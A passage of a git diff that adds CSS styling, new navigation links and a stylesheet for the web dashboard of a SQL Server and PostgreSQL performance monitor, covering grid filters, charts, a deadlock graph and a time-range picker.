 .range-custom { display: inline-flex; align-items: center; gap: 0.35rem; }
 .range-custom-n { width: 4.5rem; }
+/* Multi-select picker (multi-picker.js): Wait Stats' checkbox list over a multi-series chart. */
+.multi-picker { margin: 8px 0; }
+.mp-bar { display: flex; flex-wrap: wrap; gap: 8px; align-items: center; }
+.mp-label { font-size: 12px; opacity: 0.8; }
+.mp-search { min-width: 160px; }
+.mp-count { font-size: 12px; opacity: 0.8; margin-left: auto; }
+.mp-hint { display: block; font-size: 12px; color: var(--warn); }
+.mp-list { display: flex; flex-wrap: wrap; gap: 4px 16px; max-height: 160px; overflow-y: auto; margin-top: 6px; }
+.mp-item { display: inline-flex; gap: 4px; align-items: center; font-size: 12px; white-space: nowrap; }
+.mp-none, .mp-metric-note { font-size: 12px; opacity: 0.7; }
 
 .panel > h3 {
   margin: 0 0 0.6rem;
@@ -274,6 +329,9 @@ a:hover { text-decoration: underline; }
   -webkit-mask: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath d='M12 2c-1.1 0-2 .9-2 2v.29C7.12 5.14 5 7.83 5 11v6l-2 2v1h18v-1l-2-2v-6c0-3.17-2.12-5.86-5-6.71V4c0-1.1-.9-2-2-2zM10 21a2 2 0 0 0 4 0z'/%3E%3Cpath d='M3.3 2 2 3.3 20.7 22 22 20.7z'/%3E%3C/svg%3E") no-repeat center / contain;
   mask: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath d='M12 2c-1.1 0-2 .9-2 2v.29C7.12 5.14 5 7.83 5 11v6l-2 2v1h18v-1l-2-2v-6c0-3.17-2.12-5.86-5-6.71V4c0-1.1-.9-2-2-2zM10 21a2 2 0 0 0 4 0z'/%3E%3Cpath d='M3.3 2 2 3.3 20.7 22 22 20.7z'/%3E%3C/svg%3E") no-repeat center / contain;
 }
+.server-card .head .silence-btn { margin-left: auto; background: none; border: 1px solid var(--border); border-radius: 3px; padding: 0 6px; color: var(--muted); cursor: pointer; font-size: 0.7rem; line-height: 1.5; }
+.server-card .head .silence-btn:hover:not([disabled]) { color: var(--fg); }
+.server-card .head .silence-btn[disabled] { cursor: default; opacity: 0.6; }
 .server-card .status-line { font-size: 0.75rem; color: var(--muted); margin-bottom: 0.6rem; }
 .server-card .awaiting { color: var(--warn); }
 
@@ -418,10 +476,64 @@ table.data th {
 table.data tbody tr:nth-child(even) { background: var(--row-alt); }
 table.data td.num { text-align: right; font-variant-numeric: tabular-nums; }
 table.data td.wrap { white-space: normal; max-width: 620px; }
+.plan-summary { display: flex; flex-wrap: wrap; gap: 0 1rem; margin: 4px 0; }
+table.data td.pre { white-space: pre-wrap; }
 table.data td.mono { font-family: var(--mono); font-size: 0.78rem; }
 table.data td.sev-Warning { color: var(--warn); }
 table.data td.sev-Critical { color: var(--err); }
 table.data td.sev-Healthy { color: var(--ok); }
+/* Job History runs: failed red, long-running and retry amber, canceled grey (the desktop grid's row colours). */
+table.data tbody tr.sev-Critical { background: rgba(229, 115, 115, 0.18); }
+table.data tbody tr.sev-Warning { background: rgba(255, 213, 79, 0.16); }
+table.data tbody tr.band-Offline { background: rgba(168, 174, 186, 0.16); }
+
+/* Copy and CSV strip above a data table (#4843). */
+.grid-tools { display: flex; flex-wrap: wrap; align-items: center; gap: 4px; margin-bottom: 4px; }
+.grid-tools .grid-tool { font-size: 12px; padding: 2px 8px; }
+.grid-tools-status { font-size: 12px; opacity: 0.8; margin-left: 6px; }
+
+/* Column-group toggles above a wide table (#4843). */
+.col-picker { display: flex; flex-wrap: wrap; align-items: center; gap: 4px; margin-bottom: 4px; }
+.col-picker .col-picker-label { font-size: 12px; opacity: 0.8; margin-right: 2px; }
+.col-picker .col-toggle { font-size: 12px; padding: 2px 8px; }
+.col-picker .col-toggle.on { border-color: var(--accent, currentColor); font-weight: 600; }
+/* The stored-plan panel under a row's Plan button (#4843): the indented XML in a scrollable block. */
+.plan-cell { min-width: 8rem; }
+.plan-panel { margin-top: 6px; max-width: 70vw; }
+/* An open panel is drawn full width under its row, not in the last column (js/plan-row.js): the row is the containing
+   block, the panel sits at its bottom, and the spacer in the cell makes the row tall enough to hold it. left:0/right:0 is
+   the fallback (a cell outside a scrolling grid); plan-row.js overrides left and width inline so the panel covers the
+   grid's visible area when the grid is scrolled sideways. */
+table.data tbody tr:has(> td > .plan-cell.plan-open) { position: relative; }
+table.data tbody tr:has(> td > .plan-cell.plan-open) > td { vertical-align: top; }
+.plan-cell.plan-open > .plan-panel { position: absolute; left: 0; right: 0; bottom: 0; max-width: none; margin-top: 0; padding: 6px 8px; box-sizing: border-box; background: var(--bg); border-top: 1px solid var(--border); white-space: normal; z-index: 1; }
+.plan-cell.plan-open > .plan-panel > pre { max-width: 70vw; }
+.plan-spacer { width: 1px; }
+.plan-panel pre.plan-xml, .plan-panel pre.plan-json { max-height: 28rem; overflow: auto; white-space: pre; overflow-wrap: normal; padding: 6px; border: 1px solid var(--border); }
+/* Column filters (#4843): the header button, the text box and the active-filter strip above a data table. */
+.col-filter-btn { margin-left: 4px; padding: 0 3px; font-size: 11px; line-height: 1.3; background: none; border: 1px solid transparent; color: inherit; opacity: 0.55; cursor: pointer; }
+.col-filter-btn::before { content: "\25BE"; }
+.col-filter-btn:hover, .col-filter-btn:focus-visible { opacity: 1; border-color: var(--border); }
+.col-filter-btn.on { opacity: 1; color: var(--accent, currentColor); border-color: var(--accent, currentColor); }
+.grid-filter-bar { position: sticky; left: 0; display: flex; flex-wrap: wrap; align-items: center; gap: 6px; margin-bottom: 4px; font-size: 12px; }
+.grid-filter-pop, .grid-filter-chips { display: flex; flex-wrap: wrap; align-items: center; gap: 4px; }
+.grid-filter-pop { padding: 3px 6px; border: 1px solid var(--border); }
+.grid-filter-pop .btn, .grid-filter-chips .btn { font-size: 12px; padding: 2px 8px; }
+.grid-filter-chip { display: inline-flex; align-items: center; gap: 2px; padding: 1px 6px; border: 1px solid var(--accent, currentColor); }
+.grid-filter-x { background: none; border: 0; color: inherit; cursor: pointer; padding: 0 2px; }
+.grid-filter-count { opacity: 0.8; }
+/* The value list beside a text column's match (#5565): theme colours only, so light and dark both read. */
+.grid-filter-values { flex-basis: 100%; display: flex; flex-direction: column; gap: 4px; }
+.gfv-search { max-width: 260px; }
+.gfv-list { display: flex; flex-direction: column; gap: 2px; max-height: 200px; max-width: 360px; overflow-y: auto; border: 1px solid var(--border); padding: 3px 6px; }
+.gfv-item { display: flex; gap: 6px; align-items: center; white-space: nowrap; }
+.gfv-item span { overflow: hidden; text-overflow: ellipsis; }
+.gfv-all { padding-top: 2px; font-weight: 600; }
+.gfv-empty { opacity: 0.7; }
+.gfv-note { color: var(--warn); }
+.gfv-note:empty { display: none; }
+.gfv-kept { display: flex; gap: 8px; align-items: center; flex-wrap: wrap; }
+td.cell-picked { outline: 1px solid var(--accent); outline-offset: -1px; }
 
 /* ─────────────────────────── band list ─────────────────────────── */
 
@@ -448,6 +560,17 @@ table.data td.sev-Healthy { color: var(--ok); }
 
 .chart { width: 100%; position: relative; }
 .chart svg { display: block; width: 100%; height: auto; max-height: 300px; }
+/* Line, scatter and bar charts draw at the width of their box, one SVG unit per CSS pixel (#5586), so the SVG keeps the size its
+   inline style gives it (the .chart svg rule above is for the pie chart). It is out of flow inside .chart-plot: a fixed-width SVG must not stop a narrowing
+   panel from shrinking, which would hide the narrowing from the width the chart watches. */
+.chart .chart-plot { position: relative; width: 100%; overflow: hidden; }
+.chart svg.plot-svg { position: absolute; left: 0; top: 0; max-height: none; }
+/* On paper the page is narrower than the screen the chart was drawn for, and nothing redraws it for the print layout: the SVG goes
+   back into the flow and scales to the page width uniformly (its viewBox keeps the aspect), so the newest data is not clipped (#5586). */
+@media print {
+  .chart .chart-plot { height: auto !important; overflow: visible; }
+  .chart svg.plot-svg { position: static; width: 100% !important; height: auto !important; }
+}
 .chart .axis text { fill: var(--muted); font-size: 11px; font-variant-numeric: tabular-nums; }
 .chart .axis .axis-unit { fill: var(--dim); font-size: 10px; }
 .chart .grid-line { stroke: var(--border); stroke-width: 1; }
@@ -486,6 +609,13 @@ table.data td.sev-Healthy { color: var(--ok); }
   display: none;
   box-shadow: 0 4px 14px rgba(0, 0, 0, 0.4);
 }
+.chart-menu-btn { position: absolute; top: 2px; right: 4px; background: transparent; border: 1px solid transparent; color: var(--muted); border-radius: var(--radius-sm); cursor: pointer; line-height: 1; padding: 0.1rem 0.4rem; }
+.chart-menu-btn:hover, .chart-menu-btn:focus-visible { border-color: var(--border); color: var(--fg); }
+.chart-menu { position: absolute; top: 24px; right: 4px; z-index: 5; display: flex; flex-direction: column; min-width: 11rem; background: var(--bg-dark); border: 1px solid var(--border); border-radius: var(--radius-sm); padding: 0.2rem 0; }
+.chart-menu-item { background: transparent; border: 0; color: var(--fg); text-align: left; padding: 0.3rem 0.7rem; font-size: 0.78rem; cursor: pointer; }
+.chart-menu-item:hover, .chart-menu-item:focus-visible { background: var(--border); }
+.chart-menu-status { font-size: 0.72rem; color: var(--muted); }
+.chart-source { margin-top: 0.3rem; font-size: 0.72rem; color: var(--muted); font-family: var(--mono, monospace); }
 .chart-tooltip .t-time { color: var(--muted); margin-bottom: 0.2rem; }
 .chart-tooltip .t-row { display: flex; align-items: center; gap: 0.35rem; }
 .chart-tooltip .t-row .swatch { width: 10px; height: 3px; border-radius: 2px; }
@@ -504,12 +634,13 @@ table.data td.sev-Healthy { color: var(--ok); }
 .chart .threshold-line { stroke: var(--dim); stroke-width: 1; stroke-dasharray: 6 4; opacity: 0.7; }
 .chart .threshold-label { fill: var(--dim); font-size: 10px; font-variant-numeric: tabular-nums; }
 
-/* A ranked bar chart scrolls vertically inside the panel when its list is tall (the SVG grows per row). */
+/* A ranked bar chart scrolls vertically inside the panel when its list is tall (its plot box grows per row; the width is the panel's, so only the height scrolls). */
 .chart-bar { max-height: 340px; overflow-y: auto; }
 .chart-bar svg { max-height: none; }
 .chart .bar-label { fill: var(--dim); font-size: 12px; }
 .chart .bar-track { fill: var(--bg-dark); }
-.chart .bar-value { fill: var(--muted); font-size: 12px; font-variant-numeric: tabular-nums; }
+/* The halo is the panel (.card) colour, so a dashed threshold line stops at the number instead of running through it (#5586). */
+.chart .bar-value { fill: var(--muted); font-size: 12px; font-variant-numeric: tabular-nums; paint-order: stroke; stroke: var(--card); stroke-width: 3px; stroke-linejoin: round; }
 
 /* A ranked donut: the wedges, the center total, and a value-bearing legend below. */
 .chart-pie .pie-wrap { display: flex; justify-content: center; }
@@ -537,6 +668,18 @@ table.data td.sev-Healthy { color: var(--ok); }
 .chart-legend .item.drillable { cursor: pointer; border-radius: var(--radius-sm); }
 .chart-legend .item.drillable:hover { color: var(--fg); }
 .chart-legend .item.drillable:focus-visible { outline: 2px solid var(--accent); outline-offset: 2px; }
+.chart-legend .item.switchable { cursor: pointer; border-radius: var(--radius-sm); user-select: none; }
+.chart-legend .item.switchable:hover { color: var(--fg); }
+.chart-legend .item.switchable:focus-visible, .chart-legend .item [role="button"]:focus-visible { outline: 2px solid var(--accent); outline-offset: 2px; }
+.chart-legend .item .swatch[role="button"] { cursor: pointer; position: relative; }
+/* On an entry that drills the label drills and the 12 x 3 px swatch is the switch (#5247): a transparent pad around it
+   makes a 20 x 25 px target, with no layout change and no overlap with the label (a 4.9 px gap: 0.35rem on the 14 px
+   root, and the pad reaches 4 px of it) or another row (10.5 px: 0.75rem). WebChartLegendIsolateBehaviourTests pins it. */
+.chart-legend .item .swatch[role="button"]::after { content: ""; position: absolute; top: -11px; bottom: -11px; left: -4px; right: -4px; }
+/* A hidden series stays in the legend, struck through with a hollow swatch, so it reads as hidden and not as absent. */
+.chart-legend .item.legend-off { opacity: 0.55; text-decoration: line-through; }
+.chart-legend .item.legend-off .swatch { background: transparent !important; box-shadow: inset 0 0 0 1px var(--dim); }
+.chart-legend .legend-show-all { margin-left: auto; }
 
 /* The transient drill-down chip above a drilled panel (#1563 D6): the pinned filter(s), a jump to the server page
    (server dimension), and a clear that pops back. View-state only — nothing is persisted. */
@@ -645,6 +788,7 @@ table.data td.sev-Healthy { color: var(--ok); }
 .strip.empty { background: var(--bg-dark); border: 1px solid var(--border); color: var(--muted); }
 .strip.notice { background: rgba(255, 213, 79, 0.10); border: 1px solid rgba(255, 213, 79, 0.35); color: var(--warn); }
 .strip.loading { color: var(--muted); }
+.strip.source { color: var(--muted); font-size: 0.85em; }
 
 .all-healthy {
   display: flex;
@@ -670,6 +814,11 @@ table.data td.sev-Healthy { color: var(--ok); }
 }
 .filter-box:focus { outline: none; border-color: var(--accent); }
 
+/* Alert History: the Dismiss Selected / Dismiss All bar (shown only to a seat that can edit). */
+.dismiss-bar { display: flex; align-items: center; gap: 0.6rem; margin: 0 0 0.6rem; }
+.dismiss-status { font-size: 0.85rem; color: var(--muted); }
+.dismiss-status.dismiss-error { color: var(--crit, #e05050); font-weight: 600; }
+
 .muted { color: var(--muted); }
 .section-title { font-size: 1rem; font-weight: 600; margin: 0 0 0.6rem; }
 
@@ -694,6 +843,31 @@ table.data td.sev-Healthy { color: var(--ok); }
    card whose engine_kind is NULL renders no badge at all rather than one asserting a default. */
 .badge.engine { background: var(--lighter); color: var(--muted); font-weight: 500; }
 
+/* The database-scope chip on a panel heading (#5245): drawn only while the server page's database filter is active, and it
+   says whether that panel's read took the filter. "Filtered" names the chosen databases (accent), "unfiltered" is the
+   warning look .badge.band-Warning already gives (the read shows every database), and "server" is the neutral
+   .badge.engine look (the data has no database). A single long database name is cut with an ellipsis; the title holds all. */
+.badge.db-scope { font-weight: 500; max-width: 16rem; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; display: inline-block; cursor: help; }
+.badge.db-scope-filtered { background: rgba(46, 174, 241, 0.16); color: var(--accent); }
+.badge.db-scope-process-rows { background: rgba(46, 174, 241, 0.16); color: var(--accent); }
+.badge.db-scope-unfiltered { background: rgba(255, 213, 79, 0.16); color: var(--warn); }
+.badge.db-scope-server { background: var(--lighter); color: var(--muted); }
+
+/* The server page's "Databases: All" / "Databases: 2 of 37" toolbar button (#5245): a small pill beside the range picker,
+   accented while a filter is active (aria-pressed), the same shape as .auto-refresh-toggle. */
+.db-filter-button {
+  padding: 0.2rem 0.6rem;
+  font-size: 0.78rem;
+  color: var(--muted);
+  background: var(--card);
+  border: 1px solid var(--border);
+  border-radius: 4px;
+  cursor: pointer;
+}
+.db-filter-button:hover { color: var(--fg); border-color: var(--accent); }
+.db-filter-button:focus-visible { outline: 2px solid var(--accent); outline-offset: 2px; }
+.db-filter-button[aria-pressed="true"], .db-filter-button.on { color: var(--accent); border-color: var(--accent); }
+
 /* ─────────────────────────── sort control ─────────────────────────── */
 
 .sort-control { display: inline-flex; align-items: center; gap: 0.4rem; font-size: 0.78rem; color: var(--muted); }
@@ -780,6 +954,8 @@ table.data td.sev-Healthy { color: var(--ok); }
   z-index: 20;
 }
 #statusbar .sb-sep { color: var(--border); }
+/* A collection state that is not ok reads as a warning. */
+#statusbar .sb-warn { color: var(--warn, #e0a030); font-weight: 600; }
 #server-list { padding-bottom: 34px; }
 
 /* ─────────────────────────── alert status cell (collapsed channel/sent/muted/error) ─────────────────────────── */
@@ -788,9 +964,9 @@ table.data td.sev-Healthy { color: var(--ok); }
 .status-cell .glyph { font-weight: 700; }
 .status-cell .channel { color: var(--muted); font-size: 0.75rem; }
 .status-cell.sev-Healthy { color: var(--ok); }
-.status-cell.sev-Warning { color: var(--warn); }
-.status-cell.sev-Critical { color: var(--err); }
-.status-cell.sev-Unknown { color: var(--muted); }
+.status-cell.sev-Warning { color: var(--sev-warning, var(--warn)); }
+.status-cell.sev-Critical { color: var(--sev-critical, var(--err)); }
+.status-cell.sev-Unknown { color: var(--sev-info, var(--muted)); }
 
 /* ─────────────────────────── disclosure (expandable alert detail / query text) ─────────────────────────── */
 
@@ -811,6 +987,29 @@ table.data td.sev-Healthy { color: var(--ok); }
 .disclosure > .disc-summary:hover { color: var(--fg); }
 .disc-body { margin-top: 0.4rem; }
 
+/* #5246: the deadlock graph under Blocking > Deadlock Graphs. */
+.dlg { display: flex; gap: 0.75rem; align-items: flex-start; flex-wrap: wrap; }
+.dlg-scroll { flex: 1 1 28rem; min-width: 0; max-width: 100%; overflow: auto; background: var(--bg-dark); border: 1px solid var(--border); border-radius: var(--radius-sm); }
+.dlg-svg { display: block; max-width: none; }
+.dlg-card { fill: var(--card); stroke: var(--border); stroke-width: 1.5; }
+.dlg-node { cursor: pointer; }
+.dlg-node:hover .dlg-card, .dlg-node:focus .dlg-card { stroke: var(--accent); }
+.dlg-node.victim .dlg-card { stroke: var(--err); stroke-width: 3; }
+.dlg-node.selected .dlg-card { stroke: var(--accent); stroke-width: 3; }
+.dlg-node:focus { outline: none; }
+.dlg-spid { fill: var(--fg); font: 600 14px var(--font); }
+.dlg-badge { fill: var(--err); font: 700 11px var(--font); }
+.dlg-line { fill: var(--dim); font: 12px var(--mono); }
+.dlg-edge { fill: none; stroke: var(--muted); stroke-width: 2; stroke-linejoin: round; }
+.dlg-arrowhead { fill: var(--muted); }
+.dlg-edge-label { fill: var(--fg); font: 11px var(--font); paint-order: stroke; stroke: var(--bg-dark); stroke-width: 3px; }
+.dlg-cycle { fill: none; stroke: var(--border); stroke-width: 1.5; stroke-dasharray: 6 4; }
+.dlg-cycle-label { fill: var(--muted); font: 11px var(--font); }
+.dlg-side { flex: 1 1 18rem; min-width: 0; }
+.dlg-side-head { font-weight: 600; color: var(--fg); margin-bottom: 0.3rem; }
+.dlg-prop { color: var(--dim); overflow-wrap: anywhere; }
+.dlg-prop .fk { color: var(--muted); font-weight: 600; }
+
 .detail-fields { display: grid; grid-template-columns: max-content 1fr; gap: 0.15rem 0.6rem; margin-bottom: 0.3rem; }
 .detail-field { display: contents; }
 .detail-field .fk { color: var(--muted); font-weight: 600; }
@@ -1098,3 +1297,48 @@ pre.code {
 .liveness-block { max-width: 720px; }
 .liveness-notes { margin: 0.5rem 0 0; padding-left: 1.2rem; font-size: 0.82rem; color: var(--muted); }
 .liveness-notes li { margin: 0.2rem 0; }
+
+/* FinOps page (#4843): tab strip and panel body shared by the sub-tabs. */
+.finops-tabs { flex-wrap: wrap; overflow-x: visible; }
+.finops-body { display: block; }
+.finops-panel { min-width: 0; }
+
+/* Locking & Contention index detail pane (#5311): opens above the table on a row click. */
+.locking-detail:empty { display: none; }
+.locking-detail { background: var(--bg-dark); border: 1px solid var(--border); border-radius: 6px; padding: 10px 14px; margin: 8px 0; }
+.locking-detail-head { display: flex; align-items: center; justify-content: space-between; gap: 12px; }
+.locking-detail-status { color: var(--muted); margin: 8px 0 0; }
+.locking-detail-counters { display: grid; grid-template-columns: max-content max-content; gap: 4px 24px; margin: 8px 0 0; }
+.locking-detail-counters dt { color: var(--muted); }
+.locking-detail-counters dd { margin: 0; font-variant-numeric: tabular-nums; }
+
+/* Job History (W2): the Message cell keeps a readable width and shows the first 3 lines; the row's detail pane holds the whole message. */
+.jh-message { min-width: 24rem; max-width: 40rem; display: -webkit-box; -webkit-line-clamp: 3; line-clamp: 3; -webkit-box-orient: vertical; overflow: hidden; white-space: pre-wrap; overflow-wrap: anywhere; }
+.jh-detail:empty { display: none; }
+.jh-detail { background: var(--bg-dark); border: 1px solid var(--border); border-radius: 6px; padding: 10px 14px; margin: 8px 0; }
+.jh-detail-head { display: flex; align-items: center; justify-content: space-between; gap: 12px; }
+.jh-detail-message { margin: 8px 0 0; max-height: 24rem; overflow: auto; white-space: pre-wrap; overflow-wrap: anywhere; }
+
+/* Storage Growth heatmap (#4843): one accent shade per service band, 0 (smallest) to 7 (largest). */
+.heat-band-0 { background: rgba(46, 174, 241, 0.10); }
+.heat-band-1 { background: rgba(46, 174, 241, 0.21); }
+.heat-band-2 { background: rgba(46, 174, 241, 0.32); }
+.heat-band-3 { background: rgba(46, 174, 241, 0.43); }
+.heat-band-4 { background: rgba(46, 174, 241, 0.54); }
+.heat-band-5 { color: var(--bg); background: rgba(46, 174, 241, 0.65); }
+.heat-band-6 { color: var(--bg); background: rgba(46, 174, 241, 0.76); }
+.heat-band-7 { color: var(--bg); background: rgba(46, 174, 241, 0.87); }
+
+/* ─────────────────────────── analysis Recommendations tab ─────────────────────────── */
+
+.reco-group { margin-bottom: 0.6rem; }
+.reco-card { margin: 0.5rem 0; }
+.reco-fix { white-space: pre-wrap; overflow-wrap: anywhere; background: var(--bg-dark); padding: 0.6rem; border-radius: 4px; }
+.reco-actions { display: flex; gap: 0.5rem; margin-top: 0.4rem; }
+
+/* #5235: a wait cell that links to Active Queries filtered to that wait, and the strip that clears the filter. */
+.wait-link { background: none; border: 0; padding: 0; font: inherit; color: var(--accent); cursor: pointer; text-align: left; text-decoration: underline; text-decoration-style: dotted; }
+.wait-link:hover { text-decoration-style: solid; }
+.wait-link:focus-visible { outline: 2px solid var(--accent); outline-offset: 2px; }
+.wait-link-note { margin-left: 0.5rem; color: var(--err); font-size: 0.78rem; }
+.wait-filter-strip { display: flex; align-items: center; flex-wrap: wrap; gap: 0.5rem; margin-bottom: 0.5rem; }
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/css/theme.css b/Darling/PerformanceMonitor.Darling.Service/wwwroot/css/theme.css
index 857c3f7609..aafd265980 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/css/theme.css
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/css/theme.css
@@ -47,3 +47,38 @@
 
   color-scheme: dark;
 }
+
+/* Sortable grid headers (#4843): a click or Enter/Space cycles ascending, descending, the server's order. */
+table.data th.sortable { cursor: pointer; user-select: none; }
+table.data th.sortable:hover { color: var(--fg); }
+table.data th.sortable:focus-visible { outline: 2px solid var(--accent, currentColor); outline-offset: -2px; }
+table.data th .sort-ind { display: inline-block; min-width: 1em; font-size: 0.8em; }
+/* Mute Rules page (#4843) */
+.mute-form { padding: 12px 16px; margin-bottom: 12px; }
+.mute-field { display: block; margin: 6px 0; }
+.mute-label { display: block; font-size: 12px; opacity: 0.8; }
+.mute-input { width: 100%; max-width: 420px; }
+.mute-rules-field-error { display: block; color: var(--err); font-size: 12px; }
+.mute-actions .btn { margin-right: 4px; }
+tr.mute-rules-highlight { outline: 2px solid var(--accent); }
+
+/* Server page custom range (#4843) */
+.range-custom { display: inline-flex; align-items: center; gap: 0.35rem; flex-wrap: wrap; }
+.range-custom[hidden] { display: none; }
+.range-custom-input { background: var(--card); color: var(--fg); border: 1px solid var(--border); border-radius: 4px; padding: 0.15rem 0.3rem; font-size: 0.78rem; }
+.range-custom-error { color: var(--err); font-size: 0.78rem; }
+/* Alert History (#4843): a dismissed row, shown when "Show dismissed" is on. */
+tr.alert-dismissed { opacity: 0.55; font-style: italic; }
+
+/* Manage Tags page (#5085) */
+.tags-layout { display: flex; gap: 24px; align-items: flex-start; }
+.tag-tree { list-style: none; margin: 0; padding: 0; min-width: 260px; }
+.tag-node { display: flex; align-items: center; gap: 8px; background: none; border: 0; color: inherit; cursor: pointer; padding: 4px 6px; font: inherit; }
+.tag-node.tag-selected { outline: 2px solid var(--accent); }
+.tag-swatch { display: inline-block; width: 14px; height: 14px; border-radius: 3px; border: 1px solid var(--border, #888); background: transparent; }
+.tag-swatch-pick { cursor: pointer; margin-left: 4px; padding: 0; }
+.tag-form { padding: 12px 16px; margin-bottom: 12px; }
+.tag-field { display: block; margin: 6px 0; }
+.tag-input { width: 100%; max-width: 420px; }
+.tags-server { display: block; margin: 2px 0; }
+.tags-rules ul { margin: 4px 0 8px 18px; }
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/css/time-range.css b/Darling/PerformanceMonitor.Darling.Service/wwwroot/css/time-range.css
new file mode 100644
index 0000000000..e20a5500c7
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/css/time-range.css
@@ -0,0 +1,70 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* The time range picker (#5562): js/time-range-picker.js. Colors come from the theme tokens only. */
+.time-range-picker { position: relative; display: inline-flex; align-items: center; gap: 0.5rem; flex-wrap: wrap; font-size: 0.78rem; color: var(--muted); }
+.trp-button {
+  background: var(--card);
+  color: var(--fg);
+  border: 1px solid var(--border);
+  border-radius: var(--radius-sm);
+  padding: 0.2rem 0.55rem;
+  font-size: 0.78rem;
+  cursor: pointer;
+}
+.trp-button:hover { background: var(--lighter); }
+.trp-button:focus-visible, .trp-item:focus-visible, .trp-text:focus-visible, .trp-pick:focus-visible { outline: 2px solid var(--accent); outline-offset: 1px; }
+.trp-detail { color: var(--dim); }
+.trp-note { color: var(--warn); }
+.trp-note:empty, .trp-detail:empty { display: none; }
+.trp-popup-slot { position: absolute; top: 100%; left: 0; z-index: 30; }
+.trp-popup {
+  display: flex;
+  gap: 1rem;
+  margin-top: 0.3rem;
+  padding: 0.7rem 0.8rem;
+  background: var(--bg-dark);
+  color: var(--fg);
+  border: 1px solid var(--border);
+  border-radius: var(--radius);
+  box-shadow: 0 6px 18px rgba(0, 0, 0, 0.45);
+  max-width: calc(100vw - 2rem);
+  flex-wrap: wrap;
+}
+.trp-column { display: flex; flex-direction: column; gap: 0.15rem; min-width: 11rem; }
+.trp-custom { min-width: 17rem; gap: 0.4rem; }
+.trp-heading { color: var(--muted); font-size: 0.72rem; text-transform: uppercase; letter-spacing: 0.04em; margin-bottom: 0.15rem; }
+.trp-item {
+  display: flex;
+  align-items: baseline;
+  gap: 0.5rem;
+  flex-wrap: wrap;
+  text-align: left;
+  background: transparent;
+  color: var(--fg);
+  border: 1px solid transparent;
+  border-radius: var(--radius-sm);
+  padding: 0.2rem 0.45rem;
+  font-size: 0.78rem;
+  cursor: pointer;
+}
+.trp-item:hover { background: var(--lighter); }
+.trp-item.trp-selected { border-color: var(--accent); }
+.trp-item-name { flex: 1 1 auto; }
+.trp-item-length { color: var(--muted); }
+.trp-item-why { flex-basis: 100%; color: var(--muted); font-size: 0.7rem; }
+.trp-item.trp-disabled { color: var(--muted); cursor: not-allowed; opacity: 0.6; }
+.trp-item.trp-disabled:hover { background: transparent; }
+.trp-text, .trp-pick { background: var(--card); color: var(--fg); border: 1px solid var(--border); border-radius: var(--radius-sm); padding: 0.2rem 0.4rem; font-size: 0.78rem; }
+.trp-text { width: 100%; box-sizing: border-box; }
+.trp-preview { min-height: 2.4em; font-size: 0.74rem; color: var(--muted); }
+.trp-preview.trp-ok { color: var(--ok); }
+.trp-preview.trp-error { color: var(--err); }
+.trp-picks { display: flex; align-items: center; gap: 0.35rem; flex-wrap: wrap; }
+.trp-zone { color: var(--muted); font-size: 0.7rem; }
+.trp-apply[disabled] { opacity: 0.5; cursor: not-allowed; }
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/index.html b/Darling/PerformanceMonitor.Darling.Service/wwwroot/index.html
index d0458bbf79..24c2170e31 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/index.html
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/index.html
@@ -12,15 +12,17 @@
     <link rel="stylesheet" href="css/theme.css" />
     <link rel="stylesheet" href="css/app.css" />
     <link rel="stylesheet" href="css/editor.css" />
+    <link rel="stylesheet" href="css/time-range.css" />
   </head>
   <body>
     <div id="app">
       <aside id="sidebar">
         <div class="brand">
           <h1>Darling Web</h1>
-          <div class="sub">SQL Server fleet monitor</div>
+          <div class="sub">SQL Server and PostgreSQL monitor</div>
           <!-- Shell-level master pause (#4222d, #4666): one button that stops every page's auto-refresh.
                js/app.js sets the label/aria-label/title and the pressed state; see initAutoRefreshToggle(). -->
+          <button id="sidebar-collapse" class="sidebar-collapse" type="button" aria-expanded="true" title="Hide the sidebar"></button>
           <button id="auto-refresh-toggle" class="auto-refresh-toggle" type="button" aria-pressed="false"></button>
         </div>
         <nav class="nav">
@@ -28,15 +30,22 @@ <h1>Darling Web</h1>
           <!-- Revealed by js/app.js only once the store has Availability Group data (#991); the #/ag route works
                regardless, so a deep link is never broken by the entry being hidden. -->
           <a data-route="ag" href="#/ag" hidden>Availability Groups</a>
+          <a data-route="finops" href="#/finops">FinOps</a>
           <a data-route="sweeps" href="#/sweeps">Fleet Sweeps</a>
           <a data-route="alerts" href="#/alerts">Alert History</a>
           <a data-route="alert-rules" href="#/alert-rules">Alert Rules</a>
+          <a data-route="admin" href="#/admin">Admin</a>
           <a data-route="views" href="#/views">Custom Views</a>
+          <a data-route="mute-rules" href="#/mute-rules">Mute Rules</a>
+          <a data-route="manage-tags" href="#/manage-tags">Manage Tags</a>
+          <a data-route="job-history" href="#/job-history">Job History</a>
         </nav>
         <div class="server-list-header">Servers</div>
+        <div id="server-search" class="server-search"></div>
         <div id="server-list"></div>
         <div class="server-list-header">Views</div>
         <div id="view-list"></div>
+        <div id="viewer-settings"></div>
       </aside>
       <main id="main"></main>
     </div>
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/alert-editor.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/alert-editor.js
index 9e135831ab..79881755bb 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/alert-editor.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/alert-editor.js
@@ -37,6 +37,7 @@ import {
   labeledBlock,
 } from "./editor.js";
 import { formatComposedValue } from "./compose.js";
+import { gridTable } from "./panels.js";
 import { takePendingAlertSeed, metricSpecFromDesc } from "./alert-seed.js";
 import * as api from "./alerts-api.js";
 
@@ -108,6 +109,9 @@ export async function renderAlertEditor(main, id, templateKey) {
 
   let model;
